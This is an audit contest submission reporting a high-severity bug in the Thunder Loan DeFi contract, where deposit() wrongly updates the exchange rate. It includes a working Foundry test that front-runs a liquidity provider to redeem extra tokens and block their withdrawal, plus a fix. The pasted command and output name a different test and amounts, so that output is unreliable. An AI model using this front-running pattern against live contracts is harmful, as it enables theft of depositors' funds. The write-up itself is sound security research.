First Flight #3: Thunder Loan
First Flight #3
Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Incorrect exchange rate update in `ThunderLoan::deposit`

ciara

A Liquidity provider can earn risk-free rewards to encounter a DoS on ThunderLoan::redeem due to the incorrect exchange rate being updated in ThunderLoan::deposit.

Vulnerability details

In ThunderLoan::deposit on line 154, the exchange rate is updated using the amount of tokens the liquidity provider (LP) deposited:

uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);

This means that the LP earns a fee based on their deposited amount. If an LP deposits and withdraws in the same block, they can either earn risk-free rewards with prior liquidity or encounter a DoS in 'redeem' due to insufficient liquidity. The intended behavior is for fees to come from a flash loan, where the LP gets a share of the borrower's fee. If no loans were taken, the LP either steals from other LP deposits or faces a DoS due to insufficient funds.

Impact

An attacker can front-run an LP when they send a deposit() transaction and send and redeem a large transaction, earning a fee without any loans being taken. The attacker is therefore stealing from the LP's deposit and the LP will encounter a DoS when they attempt to redeem. This means an attacker can recursively deposit and redeem funds, draining the entire contract liquidity.

If an LP deposits funds and then decides to redeem without any loans being taken, if there are not sufficient funds in the contract, the LP will encounter a state of DoS on redeem().

This is a high likelihood and high impact vulnerability so it is therefore a high severity finding.

Proof of concept

Working test case

The following test demonstrates that if an attacker front runs an LP calling deposit() and then redeems immediately, the attacker will be able to redeem more than their initial deposit and the LP will not be able to withdraw to insufficient funds

function test_PoC_lpEarnFeesWithoutFlashLoan() setAllowedToken public {
address attacker = makeAddr("attacker");
uint256 amount = 1e18;
​
// attacker front-runs the LP
vm.startPrank(attacker);
tokenA.mint(attacker,amount);
tokenA.approve(address(thunderLoan), amount);
thunderLoan.deposit(tokenA, amount);
console.log("initial deposit amount: ", amount);
vm.stopPrank();
​
// LP's deposit transaction
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, amount);
tokenA.approve(address(thunderLoan), amount);
thunderLoan.deposit(tokenA, amount);
vm.stopPrank();
​
// attacker redeems initial tokens with fee added
vm.startPrank(attacker);
thunderLoan.redeem(tokenA, type(uint256).max);
​
// assert that the end balance is greater than the initial balance
uint256 endBalance = tokenA.balanceOf(attacker);
console.log("end balance: ", endBalance);
assertGe(endBalance, amount);
vm.stopPrank();
​
// LP will encounter a DoS on redeem
vm.prank(liquidityProvider);
vm.expectRevert();
thunderLoan.redeem(tokenA, type(uint256).max);
}
$ forge test --mt test_PoC_lpStealNon18DecimalTokenDeposit -vvvv
​
// output
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] test_PoC_lpStealNon18DecimalTokenDeposit() (gas: 1038242)
Logs:
initial deposit amount: 1000000
end balance: 1004506
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.52ms

As observed, the test passed meaning that an attacker can redeem extra tokens even if no loans have been taken, causing other LPs to encounter a DoS when redeeming if no other LPs have deposited.

Recommended mitigation

Remove the exchange rate update from deposit():

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Tools used

  • Forge

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

can't redeem because of the update exchange rate

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.